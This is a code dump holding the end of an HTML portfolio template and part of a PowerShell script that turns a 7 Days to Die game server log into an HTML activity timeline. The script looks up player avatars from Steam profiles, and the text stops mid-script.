<!-- END AVATAR --> <div class="clear"></div> </div> <div class="about-bottom-bg"></div> <!-- END ABOUT PAGE --> <!-- START PORTFOLIO PAGE --> <a id="portfolio-page"></a> <div class="portfolio"> <div class="grid_4 alpha"> <div class="container-portfolio"> <h2>Portfolio</h2> </div> </div> <!-- START PORTFOLIO QUOTE --> <div class="grid_4 omega"> <div class="portfolio-quote"> <h4>I hope you like my work and my work speaks for me.</h4> </div> </div> <!-- END PORTFOLIO QUOTE --> <div class="clear"></div> <div class="container-portfolio"> <!-- START THUMB IMAGE --> <div class="photo"> <a href="#project01"> <img src="images/portfolio/003.big.jpg" height="85" width="85" alt="WordPress Theme" /> </a> </div> <div class="photo"> <a href="#project02"> <img src="images/portfolio/001.big.jpg" height="85" width="85" alt="Asilo nido" /> </a> </div> <div class="photo"> <a href="#project03"> <img src="images/portfolio/002.big.jpg" height="85" width="85" alt="One Page Folio" /> </a> </div> <div class="photo"> <a href="#project04"> <img src="images/portfolio/004.big.jpg" height="85" width="85" alt="Eclectic: Premium WordPress Theme" /> </a> </div> <div class="photo"> <a href="#project05"> <img src="images/portfolio/005.big.jpg" height="85" width="85" alt="Gold: Premium WordPress Theme" /> </a> </div> <div class="photo"> <a href="#project06"> <img src="images/portfolio/006.big.jpg" height="85" width="85" alt="" /> </a> </div> <div class="photo"> <a href="#project07"> <img src="images/portfolio/004.big.jpg" height="85" width="85" alt="" /> </a> </div> <div class="photo"> <a href="#project08"> <img src="images/portfolio/003.big.jpg" height="85" width="85" alt="" /> </a> </div> <div class="photo"> <a href="#project09"> <img src="images/portfolio/001.big.jpg" height="85" width="85" alt="" /> </a> </div> <div class="photo"> <a href="#project10"> <img src="images/portfolio/002.big.jpg" height="85" width="85" alt="Asilo nido" /> </a> </div> <div class="clear"></div> <!-- END SMALL IMAGE --> </div> </div> <div class="portfolio-bottom-bg"></div> <!-- END PORTFOLIO PAGE --> <!-- START CONTACT PAGE --> <a id="contact-page"></a> <div class="contact"> <div class="grid_5 alpha"> <div class="container-contact"> <h2>Contact</h2> <div id="log"></div> <form id="contacts" method="post" action="include/inc_sendmail.php"> <fieldset> <input tabindex="1" type="text" id="visitor" name="visitor" value="Name" onfocus="if (this.value=='Name') this.value='';" onblur="if (this.value=='') this.value='Name';" class="text name" /> <br /> <input tabindex="3" type="text" id="visitormail" name="visitormail" value="E-mail" onfocus="if (this.value=='E-mail') this.value='';" onblur="if (this.value=='') this.value='E-mail';" class="text mail" /> <br /> <textarea tabindex="4" id="notes" name="notes" cols="30" rows="3" onfocus="if (this.value=='Message') this.value='';" onblur="if (this.value=='') this.value='Message';" class="text message">Message</textarea> <br /> <input class="button" name="Send" value="Send e-mail" type="submit" /> </fieldset> </form> </div> </div> <div class="grid_4 omega contact-info"> <p class="title">Estimates, questions, information?</p> <p> Not hesitate to contact me.<br/> Send the form or contact me on skype. </p> <img src="images/logo.small.gif" alt="logo" class="contact-logo" /> <h3>YourInspirationFolio</h3> <address>Arlington Road, 988</address> <p class="right"> <span>Tel.</span> 074 5678 678<br/> <span>Fax.</span> 074 5678 678 </p> </div> <div class="clear"></div> </div> <div class="contact-bottom-bg"></div> <!-- END CONTACT PAGE --> </div> <div class="clear"></div> </div> <!--[if IE]> <script type="text/javascript"> Cufon.now(); </script> <![endif]--> </body> </html> "@
serverlog.ps1
7DaysToDieManager-1.0.0
@" <!DOCTYPE html> <html lang="en"> <head> <meta charset="utf-8"> <meta name="viewport" content="width=device-width, initial-scale=1.0"> <title>7 Days To Die - Cindar's World</title> <!--STYLESHEET--> <!--=================================================--> <!--Open Sans Font [ OPTIONAL ]--> <link href='https://fonts.googleapis.com/css?family=Open+Sans:400,300,600,700' rel='stylesheet' type='text/css'> <!--Bootstrap Stylesheet [ REQUIRED ]--> <link href="css/bootstrap.min.css" rel="stylesheet"> <!--Nifty Stylesheet [ REQUIRED ]--> <link href="css/nifty.min.css" rel="stylesheet"> <!--Nifty Premium Icon [ DEMONSTRATION ]--> <link href="css/demo/nifty-demo-icons.min.css" rel="stylesheet"> <!--Demo [ DEMONSTRATION ]--> <link href="css/demo/nifty-demo.min.css" rel="stylesheet"> <!--Morris.js [ OPTIONAL ]--> <link href="plugins/morris-js/morris.min.css" rel="stylesheet"> <!--Magic Checkbox [ OPTIONAL ]--> <link href="plugins/magic-check/css/magic-check.min.css" rel="stylesheet"> <!-- Font Awesome --> <link href="https://cdnjs.cloudflare.com/ajax/libs/font-awesome/4.7.0/css/font-awesome.css" rel="stylesheet"> <!--JAVASCRIPT--> <!--=================================================--> <!--Pace - Page Load Progress Par [OPTIONAL]--> <link href="plugins/pace/pace.min.css" rel="stylesheet"> <script src="plugins/pace/pace.min.js"></script> <!--jQuery [ REQUIRED ]--> <script src="js/jquery.min.js"></script> <!--BootstrapJS [ RECOMMENDED ]--> <script src="js/bootstrap.min.js"></script> <!--NiftyJS [ RECOMMENDED ]--> <script src="js/nifty.min.js"></script> <!--=================================================--> <!--Demo script [ DEMONSTRATION ]--> <script src="js/demo/nifty-demo.min.js"></script> </head> <!--TIPS--> <!--You may remove all ID or Class names which contain "demo-", they are only used for demonstration. --> <body> <div id="container" class="effect aside-float aside-bright mainnav-lg"> <!--NAVBAR--> <!--===================================================--> <header id="navbar"> <div id="navbar-container" class="boxed"> <!--Brand logo & name--> <!--================================--> <div class="navbar-header"> <a href="index.html" class="navbar-brand"> <img src="img/7dtd_logo.png" class="brand-icon"> <div class="brand-title"> <span class="brand-text">Cindar's World</span> </div> </a> </div> <!--================================--> <!--End brand logo & name--> <!--Navbar Dropdown--> <!--================================--> <div class="navbar-content clearfix"> <ul class="nav navbar-top-links pull-left"> <!--Navigation toggle button--> <!--~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~--> <li class="tgl-menu-btn"> <a class="mainnav-toggle" href="#"> <i class="demo-pli-view-list"></i> </a> </li> <!--~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~--> <!--End Navigation toogle button--> </ul> <ul class="nav text-center"> <!--Updated Timer--> <!--~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~--> <li> <div class="username">Last Updated: 12/19/2017 14:22</div></center> </li> <!--~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~--> <!--End Updated Timer--> </ul> </div> <!--================================--> <!--End Navbar Dropdown--> </div> </header> <!--===================================================--> <!--END NAVBAR--> <div class="boxed"> <!--CONTENT CONTAINER--> <!--===================================================--> <div id="content-container"> <!--Page content--> <!--===================================================--> <div id="page-content"> <div class="row"> <div class="col-lg-12"> <!-- Timeline --> <!--===================================================--> <div class="timeline"> <!-- Timeline header --> <div class="timeline-header"> <div class="timeline-header-title bg-purple">Server Started</div> </div> $( #Init Variables $PlayerNames = @{} #Get Most Recent Log Then Reverse The Contents So Newest Info Is Written To Site First $Log = Get-ChildItem "C:\Games\7DaysToDie\7DaysToDieServer_Data" | Where {$_.Name -like "*output_log__*"} | Select -last 1 $LogContents = $(Get-Content "C:\Games\7DaysToDie\7DaysToDieServer_Data\$Log") #[array]::Reverse($LogContents) - Will Reverse When Ready To Read Log Backwards $LogContents | ForEach-Object { #Clear Parse Buffer $Command = "" #Parse The Statement Against Known Server Events Switch -Wildcard ($_) { #Server Started "*GameServer.LogOn successful*" { #Parse The Date $TimeDelta = $((Get-Date) - [datetime]$($_.Split(" ")[0])) #Parse The Command And Write The HTML "<div class='timeline-entry'>" "<div class='timeline-stat'>" "<div class='timeline-icon bg-success'><i class='fa fa-play-circle fa-2x'></i></div>" "<div class='timeline-time'>" IF($($TimeDelta.Days) -gt 0){"$($TimeDelta.Days) days ago"} ElseIf($($TimeDelta.Hours) -gt 0) {"$($TimeDelta.Hours)h ago"} ElseIf($($TimeDelta.Minutes) -gt 0){"$($TimeDelta.Minutes) mins ago"} ElseIf($($TimeDelta.Minutes) -lt 0){"just now"} "</div>" "</div>" "<div class='timeline-label'>" "<p class='text-main text-semibold'>Server Event - Server Started</p>" "<span>Let the mayhem begin!</span>" "</div>" "</div>" } #Shutdown Requested "*Executing command 'shutdown'*" { #Get Variables $TimeDelta = $((Get-Date) - [datetime]$($_.Split(" ")[0])) $SteamID = $($_.Split(" ")[8]) $SteamURL = "http://steamcommunity.com/profiles/" + $SteamID + "?xml=1" $SteamProfile = $(([xml](Invoke-WebRequest -URI $SteamURL).Content).Profile) $PlayerName = $($SteamProfile.steamid.'#cdata-section') $AvatarIcon = $($SteamProfile.avatarIcon.'#cdata-section') #Parse The Command And Write The HTML "<div class='timeline-entry'>" "<div class='timeline-stat'>" "<div class='timeline-icon bg-danger'><i class='fa fa-arrow-circle-down fa-2x'></i></div>" "<div class='timeline-time'>" IF($($TimeDelta.Days) -gt 0){"$($TimeDelta.Days) days ago"} ElseIf($($TimeDelta.Hours) -gt 0) {"$($TimeDelta.Hours)h ago"} ElseIf($($TimeDelta.Minutes) -gt 0){"$($TimeDelta.Minutes) mins ago"} ElseIf($($TimeDelta.Minutes) -lt 0){"just now"} "</div>" "</div>" "<div class='timeline-label'>" "<p class='text-main text-semibold'>Server Event - Admin Shutdown Initiated</p>" "<img class='img-xs img-circle' src=$AvatarIcon>" "<span>$PlayerName shut down all the fun.</span>" "</div>" "</div>" } #Server Stopped "*OnApplicationQuit*" { #Parse The Date $TimeDelta = $((Get-Date) - [datetime]$($_.Split(" ")[0])) #Parse The Command And Write The HTML "<div class='timeline-entry'>" "<div class='timeline-stat'>" "<div class='timeline-icon bg-danger'><i class='fa fa-stop-circle fa-2x'></i></div>" "<div class='timeline-time'>" IF($($TimeDelta.Days) -gt 0){"$($TimeDelta.Days) days ago"} ElseIf($($TimeDelta.Hours) -gt 0) {"$($TimeDelta.Hours)h ago"} ElseIf($($TimeDelta.Minutes) -gt 0){"$($TimeDelta.Minutes) mins ago"} ElseIf($($TimeDelta.Minutes) -lt 0){"just now"} "</div>" "</div>" "<div class='timeline-label'>" "<p class='text-main text-semibold'>Server Event - Server Stopped</p>" "<span>We'll return shortly after these messages.......if our admin is paying any attention.</span>" "</div>" "</div>" } #Player Joined "*[INF] Player Connected,*" { #Get Variables $TimeDelta = $((Get-Date) - [datetime]$($_.Split(" ")[0])) $PlayerName = $($_.Split(",")[2].split("=")[1]) $SteamID = $($_.Split(",")[3].split("=")[1]) $SteamURL = "http://steamcommunity.com/profiles/" + $SteamID + "?xml=1" $SteamProfile = $(([xml](Invoke-WebRequest -URI $SteamURL).Content).Profile) $AvatarIcon = $($SteamProfile.avatarIcon.'#cdata-section') #Add Player To Hash Table For Lookup Later If($($PlayerNames.Get_Item("$PlayerName")) -eq $null) {$PlayerNames.Add("$PlayerName", "$SteamID")} #Parse The Command And Write The HTML "<div class='timeline-entry'>" "<div class='timeline-stat'>" "<div class='timeline-icon bg-info'><i class='fa fa-sign-in fa-2x'></i></div>" "<div class='timeline-time'>" IF($($TimeDelta.Days) -gt 0){"$($TimeDelta.Days) days ago"} ElseIf($($TimeDelta.Hours) -gt 0) {"$($TimeDelta.Hours)h ago"} ElseIf($($TimeDelta.Minutes) -gt 0){"$($TimeDelta.Minutes) mins ago"} ElseIf($($TimeDelta.Minutes) -lt 0){"just now"} "</div>" "</div>" "<div class='timeline-label'>" $( #Lookup To See If Player Is Too New To Get A Profile From Or Is A Child Profile If($AvatarIcon -eq $null) { "<img class='img-xs img-circle' src=data:image/png;base64,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>" } Else { "<img class='img-xs img-circle' src=$AvatarIcon>" } ) "$PlayerName Joined To Kill Some Zombies!" "</div>" "</div>" } #Player Died "*GMSG: Player*died*" { #Get Variables $TimeDelta = $((Get-Date) - [datetime]$($_.Split(" ")[0])) $PlayerName = $($_.Split("'")[1]) $SteamID = $PlayerNames.Get_Item("$PlayerName") $SteamURL = "http://steamcommunity.com/profiles/" + $SteamID + "?xml=1" $SteamProfile = $(([xml](Invoke-WebRequest -URI $SteamURL).Content).Profile) $AvatarIcon = $($SteamProfile.avatarIcon.'#cdata-section') #Parse The Command And Write The HTML "<div class='timeline-entry'>" "<div class='timeline-stat'>" "<div class='timeline-icon bg-info'><i class='fa fa-frown-o fa-2x'></i></div>" "<div class='timeline-time'>" IF($($TimeDelta.Days) -gt 0){"$($TimeDelta.Days) days ago"} ElseIf($($TimeDelta.Hours) -gt 0) {"$($TimeDelta.Hours)h ago"} ElseIf($($TimeDelta.Minutes) -gt 0){"$($TimeDelta.Minutes) mins ago"} ElseIf($($TimeDelta.Minutes) -lt 0){"just now"} "</div>" "</div>" "<div class='timeline-label'>" $( #Lookup To See If Player Is Too New To Get A Profile From Or Is A Child Profile If($AvatarIcon -eq $null) { "<img class='img-xs img-circle' src=data:image/png;base64,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>" } Else { "<img class='img-xs img-circle' src=$AvatarIcon>" } ) "$PlayerName Died!" "</div>" "</div>" } #Player Left "*INF Player*disconnected after*" { #Get Variables $TimeDelta = $((Get-Date) - [datetime]$($_.Split(" ")[0])) $PlayerName = $($_.Split(" ")[4]) $LastedTime = $($_.Split(" ")[7]) + " " + $($_.Split(" ")[8]) $SteamID = $PlayerNames.Get_Item("$PlayerName") $SteamURL = "http://steamcommunity.com/profiles/" + $SteamID + "?xml=1" $SteamProfile = $(([xml](Invoke-WebRequest -URI $SteamURL).Content).Profile) $AvatarIcon = $($SteamProfile.avatarIcon.'#cdata-section') #Parse The Command And Write The HTML "<div class='timeline-entry'>" "<div class='timeline-stat'>" "<div class='timeline-icon bg-info'><i class='fa fa-sign-out fa-2x'></i></div>" "<div class='timeline-time'>" IF($($TimeDelta.Days) -gt 0){"$($TimeDelta.Days) days ago"} ElseIf($($TimeDelta.Hours) -gt 0) {"$($TimeDelta.Hours)h ago"} ElseIf($($TimeDelta.Minutes) -gt 0){"$($TimeDelta.Minutes) mins ago"} ElseIf($($TimeDelta.Minutes) -lt 0){"just now"} "</div>" "</div>" "<div class='timeline-label'>" $( If($LastedTime -lt 60) { "<p class='text-main text-semibold'>Weak Sauce!</p>" #Lookup To See If Player Is Too New To Get A Profile From Or Is A Child Profile If($AvatarIcon -eq $null) { "<img class='img-xs img-circle' 